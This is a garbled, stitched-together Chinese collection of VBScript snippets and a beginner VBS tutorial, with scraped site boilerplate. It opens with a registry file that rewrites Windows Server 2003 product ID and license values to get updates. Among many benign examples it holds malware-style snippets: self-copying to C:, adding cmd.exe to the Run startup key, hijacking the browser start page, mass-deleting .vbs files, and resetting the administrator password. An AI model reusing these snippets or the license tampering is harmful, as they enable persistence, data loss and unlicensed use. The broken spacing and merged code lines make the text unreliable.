S="Window s Server 2003, Standa rd" /NoExec ut 此方法等同于:我的电脑--属性--高级--性能--设置--数据执行保护,选择|只为关键Wi ndows程======如果你的2003不能在线升级和打补丁,试试这个注册表======Window s Regist ry Editor Versio n 5.00[HKEY_L OCAL_MACHI NE\SOFTWA RE\Micros oft\Window s\Curren tVers ion]"Produc tId"="69713-640-9722366-45198"[HKEY_L OCAL_MACHI NE\SOFTWA RE\Micros oft\Window s NT\Curren tVers ion]"Curren tBuil d"="1.511.1 () (Obsole te data - do not use)""Instal lDate"=dword:3f6c976d"Produc tName"="Micros oft Window s Server 2003""RegDon e"="""Softwa re Type"="SYSTEM""Curren tVers ion"="5.2""Curren tBuil dNumb er"="3790""BuildL ab"="3790.srv03_rtm.030324-2048""Curren tType"="Unipro cesso r Free""Produc tId"="69713-640-9722366-45198""Digita lProd uctId"=hex:a4,00,00,00,03,00,00,00,36,39,37,31,33,2d,36,34,30,2d,39,37,32 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,31,32,32,32,3"Licens eInfo"=hex:71,84,c7,56,a0,d6,10,6e,70,b4,9f,e9,10,1a,1e,7a,01,a4,41,09,25,20,0。
vbs脚本看懂了就成才了!!vbs代码命令集合大全
Set f = fso.CreateTextFile("%PATH%") '创建文件,其中f可任意,包含缩略名
f.WriteLine("VBS") '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
eg:
Set wso = CreateObject("Wscript.Shell")
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1"
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1","0"
Set objUser = GetObject("WinNT://testnet/Engineers")
objGroup.Add(objUser.ADsPath)
修改本地管理员密码
Set objcnlar = GetObject("WinNT://./administrator, user")
wscript.sleep 2000 '(该行命令未知作用.估计是设定延迟,请高手指点)
wshshell.appactivate "%WindowsName%" '激活运用程序窗口
wshshell.sendkeys "+{%KeyBoardName%}" '第一次输出键盘按键指令前要加+
vbs好玩的代码
vbs好玩的代码VBS(VisualBasicScripting)是一种脚本语言,常用于Windows 操作系统上的系统管理、自动化任务和网页制作等方面。
以下是一些好玩的VBS代码:1. 在屏幕上写字可以使用以下代码在屏幕上写字:```MsgBox 'Hello World!'```2. 使电脑说话可以使用以下代码让电脑说话:```Dim speechSet speech=CreateObject('sapi.spvoice')speech.Speak 'Hello World'```3. 改变鼠标光标的位置可以使用以下代码改变鼠标光标的位置:```Set WshShell = WScript.CreateObject('WScript.Shell')WshShell.Run 'cmd.exe'WScript.Sleep 1000WshShell.SendKeys 'mode con: cols=18 lines=1{ENTER}' WshShell.SendKeys 'echo 0 50{ENTER}'WshShell.SendKeys 'exit{ENTER}'WScript.Sleep 1000WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'```4. 打开CD/DVD驱动器可以使用以下代码打开CD/DVD驱动器:```Set oWMP = CreateObject('WMPlayer.OCX.7') Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count -1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count -1colCDROMs.Item(i).EjectNextEnd IfWScript.Sleep 15000loop```5. 自动输入用户名和密码可以使用以下代码自动输入用户名和密码:```Set WshShell = WScript.CreateObject('WScript.Shell')WshShell.Run 'notepad.exe'WScript.Sleep 1000WshShell.SendKeys 'Userna MyUsername{ENTER}'WshShell.SendKeys 'Password: MyPassword{ENTER}'WScript.Sleep 1000WshShell.SendKeys '%{F4}'```这些代码只是VBS的冰山一角,VBS还能做很多其他有趣的事情,希望你会喜欢上它!。
VBS脚本常用经典代码收集
VBS脚本常用经典代码收集在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。
VBS脚本用途很多:1. 计算2. 处理文件和文件夹3. 管理Windows4. 处理Word, Excel, PowerPoint等Office文档5. 嵌入网页,驱动dHTML6. 编写HTTP通信7. 调用系统功能(COM组件),比如说语音说话8. 分析HTML, XML9. 调用命令行并分析返回结果10. 处理图片11. 自动化按键12. 调用Windows Media Player并管理13. 调用Windows Live Messenger并管理14. 服务端技术:Active Server Page (ASP)15. 脚本病毒16. 处理数据库下面是我收集的VBS代码,大部分转自,以后还会更新。
VBS获取系统安装路径先定义这个变量是获取系统安装路径的,然后我们用”&strWinDir&”调用这个变量。
set WshShell =WScript.CreateObject("WScript.Shell")strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")VBS获取C:\Program Files路径msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("% ProgramFiles%")VBS获取C:\Program Files\Common Files路径msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("% CommonProgramFiles%")给桌面添加网址快捷方式set gangzi =WScript.CreateObject("WScript.Shell")strDesktop = gangzi.SpecialFolders("Desktop")set oShellLink =gangzi.CreateShortcut(strDesktop & "\InternetExplorer.lnk")oShellLink.TargetPath =""oShellLink.Description = "Internet Explorer"oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"oShellLink.Save给收藏夹添加网址Const ADMINISTRATIVE_TOOLS = 6Set objShell = CreateObject("Shell.Application")Set objFolder = space(ADMINISTRATIVE_TOOLS)Set objFolderItem = objFolder.Self Set objShell = WScript.CreateObject("WScript.Shell")strDesktopFld = objFolderItem.PathSet objURLShortcut =objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url")objURLShortcut.TargetPath ="/"objURLShortcut.Save删除指定目录指定后缀文件On Error Resume NextSet fso =CreateObject("Scripting.FileSystemObject")fso.DeleteFile "C:\*.vbs", TrueSet fso = NothingVBS改主页Set oShell = CreateObject("WScript.Shell")oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",""VBS加启动项Set oShell=CreateObject("Wscript.Shell")oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\c md","cmd.exe"VBS复制自己setcopy1=createobject("scripting.filesystemobject")copy1.getfil e(wscript.scriptfullname).copy("c:\huan.vbs")复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe 文件到c盘的gangzi.exe)setcopy1=createobject("scripting.filesystemobject")copy1.getfil e("game.exe").copy("c:\gangzi.exe")VBS获取系统临时目录Dim fsoSet fso =CreateObject("Scripting.FileSystemObject")Dim tempfolderConst TemporaryFolder = 2Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)Wscript.Echo tempfolder就算代码出错依然继续执行On Error Resume NextVBS打开网址Set objShell =CreateObject("Wscript.Shell")objShell.Run("http://www.fendo /")VBS发送邮件NameSpace ="/cdo/configuration/"Set Email = CreateObject("CDO.Message")Email.From = "发件@"Email.To = "收件@"Email.Subject = "Test sendmail.vbs"Email.Textbody = "OK!"Email.AddAttachment "C:\1.txt"WithEmail.Configuration.Fields.Item(NameSpace&"sendusing") = 2.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com".Item(NameSpace&"smtpserverport") =25.Item(NameSpace&"smtpauthenticate") =1.Item(NameSpace&"sendusername") = "发件人用户名".Item(NameSpace&"sendpassword") = "发件人密码".UpdateEnd WithEmail.SendVBS结束进程strComputer = "."Set objWMIService = GetObject _ ("winmgmts:\\" & strComputer & "\root\cimv2")Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'Rar.exe'")For Each objProcess in colProcessList objProcess.Terminate()NextVBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)createObject("wscript.shell").run "iexplore/",0兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。
最新最全的VBS脚本应用超级范例大全
可以显示农历的VBS代码:<script language=vbscript>Function nl()'获取当前系统时间curTime = Now()Dim WeekName(7), MonthAdd(11), NongliData(99), TianGan(9), DiZhi(11), ShuXiang(11), DayName(30), MonName(12)'星期名WeekName(0) = " * "WeekName(1) = "星期日"WeekName(2) = "星期一"WeekName(3) = "星期二"WeekName(4) = "星期三"WeekName(5) = "星期四"WeekName(6) = "星期五"WeekName(7) = "星期六"'天干名称TianGan(0) = "甲"TianGan(1) = "乙"TianGan(2) = "丙"TianGan(3) = "丁"TianGan(4) = "戊"TianGan(5) = "己"TianGan(6) = "庚"TianGan(7) = "辛"TianGan(8) = "壬"TianGan(9) = "癸"'地支名称DiZhi(0) = "子"DiZhi(1) = "丑"DiZhi(2) = "寅"DiZhi(3) = "卯"DiZhi(4) = "辰"DiZhi(5) = "巳"DiZhi(6) = "午"DiZhi(7) = "未"DiZhi(8) = "申"DiZhi(9) = "酉"DiZhi(10) = "戌"DiZhi(11) = "亥"'属相名称ShuXiang(0) = "鼠"ShuXiang(1) = "牛" ShuXiang(2) = "虎" ShuXiang(3) = "兔" ShuXiang(4) = "龙" ShuXiang(5) = "蛇" ShuXiang(6) = "马" ShuXiang(7) = "羊" ShuXiang(8) = "猴" ShuXiang(9) = "鸡" ShuXiang(10) = "狗" ShuXiang(11) = "猪" '农历日期名DayName(0) = "*" DayName(1) = "初一" DayName(2) = "初二" DayName(3) = "初三" DayName(4) = "初四" DayName(5) = "初五" DayName(6) = "初六" DayName(7) = "初七" DayName(8) = "初八" DayName(9) = "初九" DayName(10) = "初十" DayName(11) = "十一" DayName(12) = "十二" DayName(13) = "十三" DayName(14) = "十四" DayName(15) = "十五" DayName(16) = "十六" DayName(17) = "十七" DayName(18) = "十八" DayName(19) = "十九" DayName(20) = "二十" DayName(21) = "廿一" DayName(22) = "廿二" DayName(23) = "廿三" DayName(24) = "廿四" DayName(25) = "廿五" DayName(26) = "廿六" DayName(27) = "廿七" DayName(28) = "廿八" DayName(29) = "廿九" DayName(30) = "三十" '农历月份名MonName(0) = "*" MonName(1) = "正" MonName(2) = "二" MonName(3) = "三" MonName(4) = "四" MonName(5) = "五" MonName(6) = "六" MonName(7) = "七" MonName(8) = "八" MonName(9) = "九" MonName(10) = "十" MonName(11) = "十一" MonName(12) = "腊"'公历每月前面的天数MonthAdd(0) = 0 MonthAdd(1) = 31 MonthAdd(2) = 59 MonthAdd(3) = 90 MonthAdd(4) = 120 MonthAdd(5) = 151 MonthAdd(6) = 181 MonthAdd(7) = 212 MonthAdd(8) = 243 MonthAdd(9) = 273 MonthAdd(10) = 304 MonthAdd(11) = 334'农历数据NongliData(0) = 2635 NongliData(1) = 333387 NongliData(2) = 1701 NongliData(3) = 1748 NongliData(4) = 267701 NongliData(5) = 694 NongliData(6) = 2391 NongliData(7) = 133423 NongliData(8) = 1175 NongliData(9) = 396438 NongliData(10) = 3402 NongliData(11) = 3749 NongliData(12) = 331177 NongliData(13) = 1453 NongliData(14) = 694 NongliData(15) = 201326 NongliData(16) = 2350NongliData(18) = 3221 NongliData(19) = 3402 NongliData(20) = 400202 NongliData(21) = 2901 NongliData(22) = 1386 NongliData(23) = 267611 NongliData(24) = 605 NongliData(25) = 2349 NongliData(26) = 137515 NongliData(27) = 2709 NongliData(28) = 464533 NongliData(29) = 1738 NongliData(30) = 2901 NongliData(31) = 330421 NongliData(32) = 1242 NongliData(33) = 2651 NongliData(34) = 199255 NongliData(35) = 1323 NongliData(36) = 529706 NongliData(37) = 3733 NongliData(38) = 1706 NongliData(39) = 398762 NongliData(40) = 2741 NongliData(41) = 1206 NongliData(42) = 267438 NongliData(43) = 2647 NongliData(44) = 1318 NongliData(45) = 204070 NongliData(46) = 3477 NongliData(47) = 461653 NongliData(48) = 1386 NongliData(49) = 2413 NongliData(50) = 330077 NongliData(51) = 1197 NongliData(52) = 2637 NongliData(53) = 268877 NongliData(54) = 3365 NongliData(55) = 531109 NongliData(56) = 2900 NongliData(57) = 2922 NongliData(58) = 398042 NongliData(59) = 2395 NongliData(60) = 1179NongliData(62) = 2635NongliData(63) = 661067NongliData(64) = 1701NongliData(65) = 1748NongliData(66) = 398772NongliData(67) = 2742NongliData(68) = 2391NongliData(69) = 330031NongliData(70) = 1175NongliData(71) = 1611NongliData(72) = 200010NongliData(73) = 3749NongliData(74) = 527717NongliData(75) = 1452NongliData(76) = 2742NongliData(77) = 332397NongliData(78) = 2350NongliData(79) = 3222NongliData(80) = 268949NongliData(81) = 3402NongliData(82) = 3493NongliData(83) = 133973NongliData(84) = 1386NongliData(85) = 464219NongliData(86) = 605NongliData(87) = 2349NongliData(88) = 334123NongliData(89) = 2709NongliData(90) = 2890NongliData(91) = 267946NongliData(92) = 2773NongliData(93) = 592565NongliData(94) = 1210NongliData(95) = 2651NongliData(96) = 395863NongliData(97) = 1323NongliData(98) = 2707NongliData(99) = 265877'生成当前公历年、月、日 ==> GongliStr curYear = Year(curTime)curMonth = Month(curTime)curDay = Day(curTime)GongliStr = curYear & "年"If (curMonth < 10) ThenGongliStr = GongliStr & "0" & curMonth & "月"ElseGongliStr = GongliStr & curMonth & "月"End IfIf (curDay < 10) ThenGongliStr = GongliStr & "0" & curDay & "日"ElseGongliStr = GongliStr & curDay & "日"End If'生成当前公历星期 ==> WeekdayStrcurWeekday = Weekday(curTime)WeekdayStr = WeekName(curWeekday)'计算到初始时间1921年2月8日的天数:1921-2-8(正月初一)TheDate = (curYear - 1921) * 365 + Int((curYear - 1921) / 4) + curDay + MonthAdd(curMonth - 1) - 38If ((curYear Mod 4) = 0 And curMonth > 2) ThenTheDate = TheDate + 1End If'计算农历天干、地支、月、日isEnd = 0m = 0DoIf (NongliData(m) < 4095) Thenk = 11Elsek = 12End Ifn = kDoIf (n < 0) ThenExit DoEnd If'获取NongliData(m)的第n个二进制位的值bit = NongliData(m)For i = 1 To n Step 1bit = Int(bit / 2)Nextbit = bit Mod 2If (TheDate <= 29 + bit) ThenisEnd = 1Exit DoEnd IfTheDate = TheDate - 29 - bitn = n - 1LoopIf (isEnd = 1) ThenExit DoEnd Ifm = m + 1LoopcurYear = 1921 + mcurMonth = k - n + 1curDay = TheDateIf (k = 12) ThenIf (curMonth = (Int(NongliData(m) / 65536) + 1)) ThencurMonth = 1 - curMonthElseIf (curMonth > (Int(NongliData(m) / 65536) + 1)) ThencurMonth = curMonth - 1End IfEnd If'生成农历天干、地支、属相 ==> NongliStrNongliStr = "农历" & TianGan(((curYear - 4) Mod 60) Mod 10) &DiZhi(((curYear - 4) Mod 60) Mod 12) & "年"NongliStr = NongliStr & "(" & ShuXiang(((curYear - 4) Mod 60) Mod 12) & ")"'生成农历月、日 ==> NongliDayStrIf (curMonth < 1) ThenNongliDayStr = "闰" & MonName(-1 * curMonth)ElseNongliDayStr = MonName(curMonth)End IfNongliDayStr = NongliDayStr & "月"NongliDayStr = NongliDayStr & DayName(curDay)nl = NongliStr & NongliDayStrEnd Functionmsgbox nl</script>vbs实现显示系统调色板的代码:set ie = createobject("internetexplorer.application")ie.navigate "about:blank"do until ie.readystate = 4 : wscript.sleep 25 : loopset doc = ie.documentset body = doc.bodyset win = doc.parentwindowbody.innerhtml = "<OBJECT id=dlgCLASSID='clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b'></OBJECT>"body.innertext = doc.getElementById("dlg").choosecolordlg win.clipboarddata.setdata "text", body.innertextie.quit用vbs实现zip功能的脚本:压缩:Function fZip(sSourceFolder,sTargetZIPFile)'This function will add all of the files in a source folder to a ZIP file 'using Windows' native folder ZIP capability.Dim oShellApp, oFSO, iErr, sErrSource, sErrDescriptionSet oShellApp = CreateObject("Shell.Application")Set oFSO = CreateObject("Scripting.FileSystemObject")'The source folder needs to have a \ on the EndIf Right(sSourceFolder,1) <> "\" Then sSourceFolder = sSourceFolder & "\" On Error Resume Next'If a target ZIP exists already, delete itIf oFSO.FileExists(sTargetZIPFile) Then oFSO.DeleteFile sTargetZIPFile,TrueiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Write the fileheader for a blank zipfile.oFSO.OpenTextFile(sTargetZIPFile, 2, True).Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))iErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Start copying files into the zip from the source folder. Space(sTargetZIPFile).CopyHereSpace(sSourceFolder).ItemsiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd If'Because the copying occurs in a separate process, the script will just continue. Run a DO...LOOP to prevent the function'from exiting until the file is finished zipping.Do Until Space(sTargetZIPFile).Items.Count = Space(sSourceFolder).Items.CountWScript.Sleep 1500'如果不成功,增加一下秒数LoopfZip = Array(0,"","")End FunctionCall fZip ("C:\vbs","c:\vbs.zip")解压缩:Function fUnzip(sZipFile,sTargetFolder)'Create the Shell.Application objectDim oShellApp:Set oShellApp = CreateObject("Shell.Application")'Create the File System objectDim oFSO:Set oFSO = CreateObject("Scripting.FileSystemObject")'Create the target folder if it isn't already thereIf Not oFSO.FolderExists(sTargetFolder) Then oFSO.CreateFolder sTargetFolder'Extract the files from the zip into the folderSpace(sTargetFolder).CopyHereSpace(sZipFile).Items'This is a seperate process, so the script would continue even if the unzipping is not done'To prevent this, we run a DO...LOOP once a second checking to see if the number of files'in the target folder equals the number of files in the zipfile. If so, we continue.DoWScript.Sleep 1000‘有时需要更改Loop While oFSO.GetFolder(sTargetFolder).Files.Count <Space(sZipFile).Items.CountEnd Function非常棒的lcx写的非常规运行vbs :vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的这个组件在xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Vbs脚本经典教材Vbs脚本经典教材(最全的资料还是MSDN)—为什么要使用Vbs?在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除,也许你每天启动计算机第一件事情就是打开W ORD,切换到你喜爱的输入法进行文本编辑,同时还要播放优美的音乐给工作创造一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来……。
这些事情重复、琐碎,使人容易疲劳。
第三方软件也许可以强化计算机的某些功能,但是解决这些重复劳动往往事倍功半,我也尝试过使用计算机语言编写程序来解决这些问题,但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要,难道就是因为猪毛比较难拔,所以我就要去学习机械,为自己设计一个拔猪毛机(?)吗?Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。
我个人认为Vbs脚本其实就是一种计算机编程语言,但是由于缺少计算机程序设计语言中的部分要素,对于事件的描述能力较弱,所以称为脚本,它最方便的地方就是提供了对COM对象的简便支持。
那么什么是COM对象呢?我这样理解,COM对象就是一些具有特定函数功能项程序模块,他们一般以ocx或者dll作为扩展名,你只要找到包含有你需要的功能的模块文件,并在脚本中规范的引用,就可以实现特定的功能,也就是说Vbs脚本就是调用现成的“控件”作为对象,用对象的属性和方法实现目的,完全免去了编写代码、设计算法等等麻烦。
说白了,我不是觉得拔猪毛麻烦么?我发觉xx机(比如真空离心器)有一个功能可以实现脱毛,ok,我把它拿来给猪脱毛。
什么?大材小用?太浪费资源了?天哪,那是计算机芯片的事情,死道友不死贫道,反正我的事情是方便快速的解决了,这就行了。
最方便的是它甚至不需要专门的开发环境,在你的计算机中,只要有notepad,就可以编写Vbs 脚本了,并且可以直接执行。
Vbs脚本编程简明教程之二如何开始第一个Vbs脚本?就像多数计算机教程一样,我们从“Hello World!”程序开始我们的练习。
什么?不知道是什么意思?就是说大部分的计算机程序设计教程开篇入门都是编写一个小程序,执行这个程序的结果就是在计算机的屏幕上或者dos窗口中显示一行文字:Hello World!好了,我们开始吧。
打开你的“记事本”程序,在编辑窗口填写:msgbox "Hello World!"然后用鼠标单击“文件”菜单,单击“保存”,把“保存在”一栏设为桌面,在“文件名”一栏中填写kk.vbs,单击“保存”就可以了。
然后最小化“记事本”窗口,在桌面上寻找你刚刚保存的kk.vbs,然后双击。
看到弹出的对话框了没有,单击“确定”,对话框消失了。
难看了点,不过确实是你编写的第一个脚本程序。
说明之一:上面的操作中,保存位置放在桌面,仅仅是为了执行方便,你保存到其他的地方完全没有问题,只要你知道你保存在什么地方就可以了,什么?是废话,自己保存的当然知道保存在那里了。
不,自己保存的文件自己找不到的人我见的多了去了。
文件名你可以随意填写,不一定非要写kk,只要符合Windows的文件命名规则就可以了,但是扩展名必须是vbs,什么?不知道什么是扩展名?就是文件名中“.”后的那部分,简单说,就是vbs脚本文件命名时必须是:xxx.vbs,其中xxx你随意。
说明之二:在记事本编辑窗口中写的这行是什么意思?Msgbox是VBS内建的函数,每一个函数都可以完成一定的功能,你只需要按照语法要求,在函数的相应部分填写相应的内容就可以了,这部分内容我们称为参数,当然函数执行的结果我们称为返回值,一个函数可以有返回值也可以没有,可以有参数也可以没有。
你不用了解函数是怎么运作的,只要了解这个函数能干什么就行了。
Msgbox语法:msgbox "对话框内容", , "对话框的标题"你不妨用记事本打开刚才的文件在编辑窗口中输入:msgbox "Hello World!" , , "系统提示"执行一下,看看效果和位置。
说明之三:如果执行失败,看看你的标点符号,所有的标点符号必须是在英文状态下输入的。
当然,这个脚本实在是太简单了,甚至连最简单的交互都没有,所以你可以把脚本这样修改一下:Dim namename=Inputbox("请输入你的名字:","名称")Msgbox name, , "您的名字是"保存执行一下,看到弹出的对话框了么?填入你的名字,点确定,看到结果了吗?说明之一:第一句是定义变量,dim是定义变量的语句其格式为:dim 变量1,变量2……,Vbs只有一种变量类型,所以不用声明变量类型。
系统会自动分辨变量类型。
说明之二:inputbox是VBS内建的函数,可以接受输入的内容,其语法格式为:Inputbox("对话框内容","对话框标题")第二句的意思是接受用户的输入,并把输入结果传递给变量name。
好了,到此脚本基本的输入输出函数都有了,已经可以完成一些比较简单的功能了,你可以编写一个简单的脚本,然后拷贝的“程序”—>“启动”中,然后重新启动计算机看看结果Vbs脚本编程简明教程之三Vbs的基本语法(牢记)VBScript基础知识一、变量1、所有单引号后面的内容都被解释为注释。
2、在VBScript中,变量的命名规则遵循标准的命名规则,需要注意的是:在VBScript中对变量、方法、函数和对象的引用是不区分大小写的。
在申明变量时,要显式地申明一个变量,需要使用关键字DIm来告诉VBScript你要创建一个变量,并将变量名称跟在其后。
申明多个同类型变量,可以用逗号分隔。
注意:VBScript中不允许在申明变量的时候同时给变量赋值。
但是允许在一行代码内同时对两个变量进行赋值,中间用冒号分隔。
3、你可以使用Option Explicit来告诉宿主变量必须先声明后使用。
4、VBScript在定义时只有一种变量类型,在实际使用中需要使用类型转换函数来将变量转换成相应的变量类型。
Cbool函数将变量转换成布尔值;Cbyte函数将变量转换为0到255之间的整数。
Ccur函数、Cdbl函数和Csng函数将变量转换为浮点数值,前者只精确到小数点后四位,后两者要更加精确,数值的范围也要大的多。
Cdate函数将变量转换为日期值。
Cint函数和Clng函数将变量转换为整数,后者的范围比前者要大的多。
Cstr函数将变量转换为字符串。
二、数组数组的定义与变量非常类似,只需要在变量后描述这个数组的个数和维数。
需要注意的是:数组的下标总是从0开始,而以数组定义中数值减一结束。
也就是说你以要定义一个有十个数据的数组,将这样书写代码:dImarray(9),同样,当你要访问第五个元素时,实际的代码是array(4)。
当然,你可以通过不指定数组的个数和维数来申明动态数组。
等到数组的个数和维数固定后,使用关键字redim来改变数组。
注意,在改变数组的大小时,数组的数据会被破坏,使用关键字preserve来保护数据。
例如:RedIm空格preserve空格array括号个数逗号维数括号三、操作符在VBScript运算符中,加减乘除都是我们常用的符号,乘方使用的是^ ,取模使用的Mod。
在比较操作符中,等于、小于、大于、小于等于、大于等于都与我们常用的符号是一致的,而不等于是小于和大于连用。
逻辑运算符为:和操作—>A ND非操作—>NOT或操作—>OR;你可以使用操作符+ 和操作符& 来连接字符串,一般使用&操作符;另外还有一个比较特殊的操作符Is用来比较对象,例如按钮对象,如果对象是同一类型,结果就是真,如果对象不是同一类型,结果就是假。
四、条件语句主要有if……then语句和select case语句两种形式在if……then语句中,其基本形式为:If 条件then处理条件的语句;……Endif基本形式只能对单个条件进行验证,如果有两个条件,则需要在基本形式中添加单行语句else,如果还有更多的条件需要验证,则需要添加语句Elseif 条件then处理条件语句在select case语句中,其基本形式为:Select case 变量Case 条件值处理条件语句并对上两句进行重复最后一句应为case else处理语句当然不要忘记将条件结束语句End select放在最后一行注意:在执行字符串比较时,需要特别注意大小写,一般情况下,我们在比较前,使用lcase函数将字符串转换成小写,使用ucase函数将字符串转换成大写大写。
五、循环控制语句循环控制语句有for……next循环、for……each循环、do……while循环、do……until循环、while 循环五种形式。
在使用循环控制语句前,首先要对循环条件进行判断,如果循环次数是有固定次数的,那么使用For……next循环,其结构为:For 计数器变量=开始计数值to 最后计数值执行循环体Next如果是需要对数组或对象集合中的每一个元素进行判断,则需要使用for……each循环,其结构为:For each 循环计数变量in 要查看的对象或数组执行处理语句Next注意:在上述两种循环中随时可以使用exit for来退出循环如果你希望在条件满足时执行一段代码则使用do……while语句,结构为:Do while 条件执行循环体Loop如果你希望在条件不满足时执行代码,则使用do……until语句,结构为:Do until条件执行循环体Loop当然,在这两种循环语句中,你可以使用exit do来退出循环最后一种循环语句是条件满足时一直执行循环,While 条件执行循环体Wend六、使用过程常用的过程有两种,一种为函数,给调用者返回值,一种为子程序,无返回值,还有一种叫事件的特殊子程序,用的比较少。
函数的基本定义方法为:Function 函数名称(参数列表)函数代码函数名称=某值‘用来返回值end function子程序一些都类似,不过没有返回值注意:尽管在定义子程序的时候,参数列表要加括号,但在调用子程序的时候,参数列表不加括号,括号只在函数中使用。